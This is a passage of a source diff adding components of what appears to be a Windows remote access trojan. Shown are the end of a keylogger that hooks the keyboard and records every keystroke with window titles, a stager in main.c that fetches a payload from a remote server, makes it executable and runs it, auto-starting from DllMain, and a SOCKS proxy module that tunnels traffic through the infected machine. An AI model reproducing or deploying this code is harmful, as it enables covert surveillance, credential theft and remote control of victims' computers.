strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
||||||
|
// get time
|
||||||
|
SYSTEMTIME s;
|
||||||
|
GetLocalTime(&s);
|
||||||
|
char tm[64];
|
||||||
|
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
||||||
|
s.wHour, s.wMinute, s.wSecond);
|
||||||
|
|
||||||
|
output << "\r\n\r\n[<5B><><EFBFBD><EFBFBD>:] " << window_title << "\r\n[ʱ<><CAB1>:]" << tm << "\r\n[<5B><><EFBFBD><EFBFBD>:]";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#if FORMAT == 10
|
||||||
|
output << '[' << key_stroke << ']';
|
||||||
|
#elif FORMAT == 16
|
||||||
|
output << std::hex << "[" << key_stroke << ']';
|
||||||
|
#else
|
||||||
|
if (keyname.find(key_stroke) != keyname.end())
|
||||||
|
{
|
||||||
|
output << keyname.at(key_stroke);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
GET_PROCESS_EASY(GetKeyState);
|
||||||
|
// check caps lock
|
||||||
|
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
|
||||||
|
|
||||||
|
// check shift key
|
||||||
|
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|
||||||
|
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
|
||||||
|
{
|
||||||
|
lowercase = !lowercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
// map virtual key according to keyboard layout
|
||||||
|
GET_PROCESS_EASY(MapVirtualKeyExA);
|
||||||
|
char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
|
||||||
|
|
||||||
|
// tolower converts it to lowercase properly
|
||||||
|
if (!lowercase)
|
||||||
|
{
|
||||||
|
key = tolower(key);
|
||||||
|
}
|
||||||
|
output << char(key);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
// instead of opening and closing file handlers every time, keep file open and flush.
|
||||||
|
if (NULL != _cllback)
|
||||||
|
{
|
||||||
|
_cllback(output.str().c_str(), _user);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// This is the callback function. Consider it the event that is raised when, in this case,
|
||||||
|
// a key is pressed.
|
||||||
|
LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
if (nCode >= 0)
|
||||||
|
{
|
||||||
|
// the action is valid: HC_ACTION.
|
||||||
|
if (wParam == WM_KEYDOWN)
|
||||||
|
{
|
||||||
|
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
|
||||||
|
// This struct contains the data received by the hook callback. As you see in the callback function
|
||||||
|
// it contains the thing you will need: vkCode = virtual key code.
|
||||||
|
KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
|
||||||
|
|
||||||
|
// save to file
|
||||||
|
Save(kbdStruct.vkCode);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops
|
||||||
|
GET_PROCESS_EASY(CallNextHookEx);
|
||||||
|
return CallNextHookEx(_hook, nCode, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set the hook and set it to use the callback function provided.
|
||||||
|
bool SetHook(Callback callback, void* user)
|
||||||
|
{
|
||||||
|
if (NULL != _hook)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
|
||||||
|
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
|
||||||
|
// function that sets and releases the hook.
|
||||||
|
GET_PROCESS_EASY(SetWindowsHookExA);
|
||||||
|
if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
|
||||||
|
{
|
||||||
|
_cllback = callback;
|
||||||
|
_user = user;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Release the hook.
|
||||||
|
void ReleaseHook()
|
||||||
|
{
|
||||||
|
if (NULL != _hook)
|
||||||
|
{
|
||||||
|
GET_PROCESS_EASY(UnhookWindowsHookEx);
|
||||||
|
UnhookWindowsHookEx(_hook);
|
||||||
|
_hook = NULL;
|
||||||
|
_cllback = NULL;
|
||||||
|
_user = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
15
client/keylogger.h
Normal file
15
client/keylogger.h
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ȫ<EFBFBD>ּ<EFBFBD><D6BC>̹<EFBFBD><CCB9><EFBFBD>
|
||||||
|
#define USING_KB_HOOK 1
|
||||||
|
|
||||||
|
#define GET_PROCESS_EASY(p)
|
||||||
|
#define GET_PROCESS(p, q)
|
||||||
|
|
||||||
|
typedef int (CALLBACK* Callback)(const char* record, void* user);
|
||||||
|
|
||||||
|
bool SetHook(Callback callback, void* user);
|
||||||
|
|
||||||
|
void ReleaseHook();
|
||||||
263
client/main.c
Normal file
263
client/main.c
Normal file
@@ -0,0 +1,263 @@
|
|||||||
|
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <assert.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#include <stdio.h>
|
||||||
|
#define Mprintf printf
|
||||||
|
#define IsRelease 0
|
||||||
|
#else
|
||||||
|
#define Mprintf(format, ...)
|
||||||
|
#define IsRelease 1
|
||||||
|
#endif
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
typedef struct PkgHeader {
|
||||||
|
char flag[8];
|
||||||
|
int totalLen;
|
||||||
|
int originLen;
|
||||||
|
} PkgHeader;
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
PkgHeader MakePkgHeader(int originLen) {
|
||||||
|
PkgHeader header = { 0 };
|
||||||
|
memcpy(header.flag, "Hello?", 6);
|
||||||
|
header.originLen = originLen;
|
||||||
|
header.totalLen = sizeof(PkgHeader) + originLen;
|
||||||
|
return header;
|
||||||
|
}
|
||||||
|
|
||||||
|
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||||
|
{
|
||||||
|
struct sockaddr_in sa = {0};
|
||||||
|
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||||
|
strncpy(outIpBuffer, hostName, bufferSize - 1);
|
||||||
|
outIpBuffer[bufferSize - 1] = '\0';
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct addrinfo hints = {0};
|
||||||
|
struct addrinfo* res = NULL;
|
||||||
|
hints.ai_family = AF_INET; // IPv4 only
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
hints.ai_protocol = IPPROTO_TCP;
|
||||||
|
if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr;
|
||||||
|
if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) {
|
||||||
|
freeaddrinfo(res);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
freeaddrinfo(res);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
|
||||||
|
if (!sIP || !sizeOut) return NULL;
|
||||||
|
|
||||||
|
WSADATA wsaData;
|
||||||
|
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
char serverIP[INET_ADDRSTRLEN] = { 0 };
|
||||||
|
if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) {
|
||||||
|
Mprintf("Resolved IP: %s\n", serverIP);
|
||||||
|
} else {
|
||||||
|
Mprintf("Failed to resolve '%s'.\n", sIP);
|
||||||
|
WSACleanup();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
srand(time(NULL));
|
||||||
|
const int bufSize = (8 * 1024 * 1024);
|
||||||
|
char* buffer = NULL;
|
||||||
|
BOOL isFirstConnect = TRUE;
|
||||||
|
int attemptCount = 0, requestCount = 0;
|
||||||
|
do {
|
||||||
|
if (!isFirstConnect)
|
||||||
|
Sleep(IsRelease ? rand()%60 * 1000 : 5000);
|
||||||
|
isFirstConnect = FALSE;
|
||||||
|
Mprintf("Connecting attempt #%d -> %s:%d \n", ++attemptCount, serverIP, serverPort);
|
||||||
|
|
||||||
|
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (clientSocket == INVALID_SOCKET)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
DWORD timeout = 30000;
|
||||||
|
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
|
||||||
|
|
||||||
|
struct sockaddr_in serverAddr = { 0 };
|
||||||
|
serverAddr.sin_family = AF_INET;
|
||||||
|
serverAddr.sin_port = htons(serverPort);
|
||||||
|
serverAddr.sin_addr.s_addr = inet_addr(serverIP);
|
||||||
|
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||||
|
closesocket(clientSocket);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease };
|
||||||
|
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||||
|
PkgHeader h = MakePkgHeader(sizeof(command));
|
||||||
|
memcpy(req, &h, sizeof(PkgHeader));
|
||||||
|
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||||
|
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||||
|
if (bytesSent != sizeof(req)) {
|
||||||
|
closesocket(clientSocket);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
int totalReceived = 0;
|
||||||
|
buffer = buffer ? buffer : (char*)malloc(bufSize);
|
||||||
|
if (!buffer) {
|
||||||
|
closesocket(clientSocket);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (requestCount < 3) {
|
||||||
|
requestCount++;
|
||||||
|
const int bufferSize = 16 * 1024;
|
||||||
|
time_t tm = time(NULL);
|
||||||
|
while (totalReceived < bufSize) {
|
||||||
|
int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived);
|
||||||
|
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
|
||||||
|
if (bytesReceived <= 0) {
|
||||||
|
Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
totalReceived += bytesReceived;
|
||||||
|
if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) {
|
||||||
|
Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
closesocket(clientSocket);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
PkgHeader* header = (PkgHeader*)buffer;
|
||||||
|
if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) {
|
||||||
|
Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived);
|
||||||
|
closesocket(clientSocket);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
||||||
|
int size = 0;
|
||||||
|
BYTE cmd = ptr[0], type = ptr[1];
|
||||||
|
memcpy(&size, ptr + 2, sizeof(int));
|
||||||
|
*sizeOut = size;
|
||||||
|
if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) {
|
||||||
|
closesocket(clientSocket);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
closesocket(clientSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return buffer;
|
||||||
|
} while (1);
|
||||||
|
|
||||||
|
free(buffer);
|
||||||
|
WSACleanup();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < iBufferSize - iKeySize; ++i){
|
||||||
|
if (0 == memcmp(szBuffer + i, Key, iKeySize)){
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct CONNECT_ADDRESS
|
||||||
|
{
|
||||||
|
char szFlag[32];
|
||||||
|
char szServerIP[100];
|
||||||
|
char szPort[8];
|
||||||
|
int iType;
|
||||||
|
bool bEncrypt;
|
||||||
|
char szBuildDate[12];
|
||||||
|
int iMultiOpen;
|
||||||
|
int iStartup;
|
||||||
|
int iHeaderEnc;
|
||||||
|
char protoType;
|
||||||
|
char runningType;
|
||||||
|
char szReserved[60];
|
||||||
|
char pwdHash[64];
|
||||||
|
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
|
||||||
|
|
||||||
|
typedef struct PluginParam {
|
||||||
|
char IP[100];
|
||||||
|
int Port;
|
||||||
|
void* Exit;
|
||||||
|
void* User;
|
||||||
|
}PluginParam;
|
||||||
|
|
||||||
|
#ifdef _WINDLL
|
||||||
|
#define DLL_API __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define DLL_API
|
||||||
|
#endif
|
||||||
|
|
||||||
|
extern DLL_API DWORD WINAPI run(LPVOID param) {
|
||||||
|
PluginParam* info = (PluginParam*)param;
|
||||||
|
int size = 0;
|
||||||
|
const char* dllData = ReceiveShellcode(info->IP, info->Port, &size);
|
||||||
|
if (dllData == NULL) return -1;
|
||||||
|
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if (NULL == execMem) return -2;
|
||||||
|
char find[] = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43";
|
||||||
|
int offset = MemoryFind(dllData, find, size, sizeof(find)-1);
|
||||||
|
if (offset != -1) {
|
||||||
|
memcpy(dllData + offset, info->User, 64);
|
||||||
|
}
|
||||||
|
memcpy(execMem, dllData + 22, size);
|
||||||
|
free((void*)dllData);
|
||||||
|
DWORD oldProtect = 0;
|
||||||
|
if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3;
|
||||||
|
|
||||||
|
((void(*)())execMem)();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifndef _WINDLL
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
assert(sizeof(struct CONNECT_ADDRESS) == 300);
|
||||||
|
PluginParam param = { 0 };
|
||||||
|
strcpy(param.IP, g_Server.szServerIP);
|
||||||
|
param.Port = atoi(g_Server.szPort);
|
||||||
|
param.User = g_Server.pwdHash;
|
||||||
|
DWORD result = run(¶m);
|
||||||
|
Sleep(INFINITE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
static HANDLE threadHandle = NULL;
|
||||||
|
if (fdwReason == DLL_PROCESS_ATTACH){
|
||||||
|
static PluginParam param = { 0 };
|
||||||
|
strcpy(param.IP, g_Server.szServerIP);
|
||||||
|
param.Port = atoi(g_Server.szPort);
|
||||||
|
param.User = g_Server.pwdHash;
|
||||||
|
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
||||||
|
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||||
|
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
298
client/proxy/ProxyManager.cpp
Normal file
298
client/proxy/ProxyManager.cpp
Normal file
@@ -0,0 +1,298 @@
|
|||||||
|
// ShellManager.cpp: implementation of the CShellManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ProxyManager.h"
|
||||||
|
#include <MSTcpIP.h>
|
||||||
|
#include <TCHAR.h>
|
||||||
|
#include "stdio.h"
|
||||||
|
#include <process.h>
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager(pClient)
|
||||||
|
{
|
||||||
|
InitializeCriticalSection(&m_cs);
|
||||||
|
m_bUse = TRUE;
|
||||||
|
m_nSend = 0;
|
||||||
|
Threads = 0;
|
||||||
|
BYTE cmd = COMMAND_PROXY;
|
||||||
|
Send(&cmd, 1);
|
||||||
|
Mprintf("CProxyManager create: %p\n", this);
|
||||||
|
}
|
||||||
|
|
||||||
|
CProxyManager::~CProxyManager()
|
||||||
|
{
|
||||||
|
m_bUse = FALSE;
|
||||||
|
Sleep(1500);
|
||||||
|
std::map<DWORD, SOCKET*>::iterator it_oneofserver = list.begin();
|
||||||
|
while (it_oneofserver != list.end()) {
|
||||||
|
SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
|
||||||
|
if (p_socket) {
|
||||||
|
if (*p_socket != INVALID_SOCKET) {
|
||||||
|
closesocket(*p_socket);
|
||||||
|
*p_socket = 0;
|
||||||
|
}
|
||||||
|
SAFE_DELETE(it_oneofserver->second);
|
||||||
|
}
|
||||||
|
list.erase(it_oneofserver++);
|
||||||
|
}
|
||||||
|
Wait();
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
Mprintf("CProxyManager destroy: %p\n", this);
|
||||||
|
}
|
||||||
|
|
||||||
|
int CProxyManager::Send(LPBYTE lpData, UINT nSize)
|
||||||
|
{
|
||||||
|
if (!m_bUse) return 0;
|
||||||
|
int ret = CManager::Send(lpData, nSize);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
|
||||||
|
{
|
||||||
|
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
|
||||||
|
*(DWORD*)&lpBuffer[5] = ip;
|
||||||
|
*(USHORT*)&lpBuffer[9] = port;
|
||||||
|
Send(lpBuffer, 11);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CProxyManager::Disconnect(DWORD index)
|
||||||
|
{
|
||||||
|
BYTE buf[5];
|
||||||
|
buf[0] = TOKEN_PROXY_CLOSE;
|
||||||
|
memcpy(&buf[1], &index, sizeof(DWORD));
|
||||||
|
Send(buf, sizeof(buf));
|
||||||
|
GetSocket(index,TRUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||||
|
{
|
||||||
|
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
|
||||||
|
if (!m_bUse) return ;
|
||||||
|
switch (lpBuffer[0]) {
|
||||||
|
/*[1]----[4]----[4]----[2]
|
||||||
|
cmd id ip port*/
|
||||||
|
case COMMAND_PROXY_CONNECT: {
|
||||||
|
SocksThreadArg arg;
|
||||||
|
arg.pThis = this;
|
||||||
|
arg.lpBuffer = lpBuffer;
|
||||||
|
AddThread(1);
|
||||||
|
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
|
||||||
|
while (arg.lpBuffer)
|
||||||
|
Sleep(2);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case COMMAND_PROXY_CONNECT_HOSTNAME: {
|
||||||
|
SocksThreadArg arg;
|
||||||
|
arg.pThis = this;
|
||||||
|
arg.lpBuffer = lpBuffer;
|
||||||
|
arg.len = nSize;
|
||||||
|
AddThread(1);
|
||||||
|
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
|
||||||
|
while (arg.lpBuffer)
|
||||||
|
Sleep(2);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case COMMAND_PROXY_CLOSE: {
|
||||||
|
GetSocket(*(DWORD*)&lpBuffer[1],TRUE);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case COMMAND_PROXY_DATA:
|
||||||
|
DWORD index = *(DWORD*)&lpBuffer[1];
|
||||||
|
DWORD nRet, nSend = 5, nTry = 0;
|
||||||
|
SOCKET* s = GetSocket(index);
|
||||||
|
if (!s) return;
|
||||||
|
while (s && (nSend < nSize) && nTry < 15) {
|
||||||
|
nRet = send(*s, (char*)&lpBuffer[nSend], nSize - nSend, 0);
|
||||||
|
if (nRet == SOCKET_ERROR) {
|
||||||
|
nRet = GetLastError();
|
||||||
|
Disconnect(index);
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
nSend += nRet;
|
||||||
|
}
|
||||||
|
nTry++;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD CProxyManager::SocksThread(LPVOID lparam)
|
||||||
|
{
|
||||||
|
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
|
||||||
|
CProxyManager* pThis = pArg->pThis;
|
||||||
|
BYTE lpBuffer[11];
|
||||||
|
SOCKET* psock=new SOCKET;
|
||||||
|
DWORD ip;
|
||||||
|
sockaddr_in sockAddr;
|
||||||
|
int nSockAddrLen;
|
||||||
|
memcpy(lpBuffer, pArg->lpBuffer, 11);
|
||||||
|
pArg->lpBuffer = 0;
|
||||||
|
|
||||||
|
DWORD index = *(DWORD*)&lpBuffer[1];
|
||||||
|
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (*psock == SOCKET_ERROR) {
|
||||||
|
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
|
||||||
|
SAFE_DELETE(psock);
|
||||||
|
pThis->AddThread(-1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
ip = *(DWORD*)&lpBuffer[5];
|
||||||
|
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ
|
||||||
|
sockaddr_in ClientAddr;
|
||||||
|
ClientAddr.sin_family = AF_INET;
|
||||||
|
ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
|
||||||
|
ClientAddr.sin_addr.S_un.S_addr = ip;
|
||||||
|
|
||||||
|
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
|
||||||
|
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
|
||||||
|
SAFE_DELETE(psock);
|
||||||
|
pThis->AddThread(-1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
|
||||||
|
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||||
|
nSockAddrLen = sizeof(sockAddr);
|
||||||
|
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||||
|
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
|
||||||
|
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
|
||||||
|
|
||||||
|
ISocketBase* pClient = pThis->m_ClientObject;
|
||||||
|
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
|
||||||
|
struct timeval timeout;
|
||||||
|
SOCKET socket = *psock;
|
||||||
|
fd_set fdSocket;
|
||||||
|
FD_ZERO(&fdSocket);
|
||||||
|
FD_SET(socket, &fdSocket);
|
||||||
|
timeout.tv_sec = 0;
|
||||||
|
timeout.tv_usec = 10000;
|
||||||
|
buff[0] = TOKEN_PROXY_DATA;
|
||||||
|
memcpy(buff + 1, &index, 4);
|
||||||
|
while (pClient->IsRunning()) {
|
||||||
|
fd_set fdRead = fdSocket;
|
||||||
|
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
|
||||||
|
if (nRet == SOCKET_ERROR) {
|
||||||
|
nRet = GetLastError();
|
||||||
|
pThis->Disconnect(index);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (nRet > 0) {
|
||||||
|
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
|
||||||
|
if (nSize <= 0) {
|
||||||
|
pThis->Disconnect(index);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (nSize > 0)
|
||||||
|
pThis->Send(buff, nSize + 5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
SAFE_DELETE_AR(buff);
|
||||||
|
FD_CLR(socket, &fdSocket);
|
||||||
|
pThis->AddThread(-1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD CProxyManager::SocksThreadhostname(LPVOID lparam)
|
||||||
|
{
|
||||||
|
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
|
||||||
|
CProxyManager* pThis = pArg->pThis;
|
||||||
|
BYTE* lpBuffer = new BYTE[pArg->len];
|
||||||
|
memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
|
||||||
|
pArg->lpBuffer = 0;
|
||||||
|
|
||||||
|
DWORD index = *(DWORD*)&lpBuffer[1];
|
||||||
|
USHORT nPort = 0;
|
||||||
|
memcpy(&nPort, lpBuffer + 5, 2);
|
||||||
|
hostent* pHostent = NULL;
|
||||||
|
pHostent = gethostbyname((char*)lpBuffer + 7);
|
||||||
|
if (!pHostent) {
|
||||||
|
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
|
||||||
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
SOCKET* psock=new SOCKET;
|
||||||
|
|
||||||
|
sockaddr_in sockAddr;
|
||||||
|
int nSockAddrLen;
|
||||||
|
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (*psock == SOCKET_ERROR) {
|
||||||
|
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
|
||||||
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
|
SAFE_DELETE(psock);
|
||||||
|
pThis->AddThread(-1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ
|
||||||
|
sockaddr_in ClientAddr;
|
||||||
|
ClientAddr.sin_family = AF_INET;
|
||||||
|
ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
|
||||||
|
ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
|
||||||
|
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
|
||||||
|
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
|
||||||
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
|
SAFE_DELETE(psock);
|
||||||
|
pThis->AddThread(-1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
|
||||||
|
|
||||||
|
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||||
|
nSockAddrLen = sizeof(sockAddr);
|
||||||
|
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||||
|
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
|
||||||
|
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
|
||||||
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
|
ISocketBase* pClient = pThis->m_ClientObject;
|
||||||
|
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
|
||||||
|
struct timeval timeout;
|
||||||
|
SOCKET socket = *psock;
|
||||||
|
fd_set fdSocket;
|
||||||
|
FD_ZERO(&fdSocket);
|
||||||
|
FD_SET(socket, &fdSocket);
|
||||||
|
timeout.tv_sec = 0;
|
||||||
|
timeout.tv_usec = 10000;
|
||||||
|
buff[0] = TOKEN_PROXY_DATA;
|
||||||
|
memcpy(buff + 1, &index, 4);
|
||||||
|
while (pClient->IsRunning()) {
|
||||||
|
fd_set fdRead = fdSocket;
|
||||||
|
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
|
||||||
|
if (nRet == SOCKET_ERROR) {
|
||||||
|
nRet = GetLastError();
|
||||||
|
pThis->Disconnect(index);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (nRet > 0) {
|
||||||
|
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
|
||||||
|
if (nSize <= 0) {
|
||||||
|
pThis->Disconnect(index);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (nSize > 0)
|
||||||
|
pThis->Send(buff, nSize + 5);
|
||||||
|
}
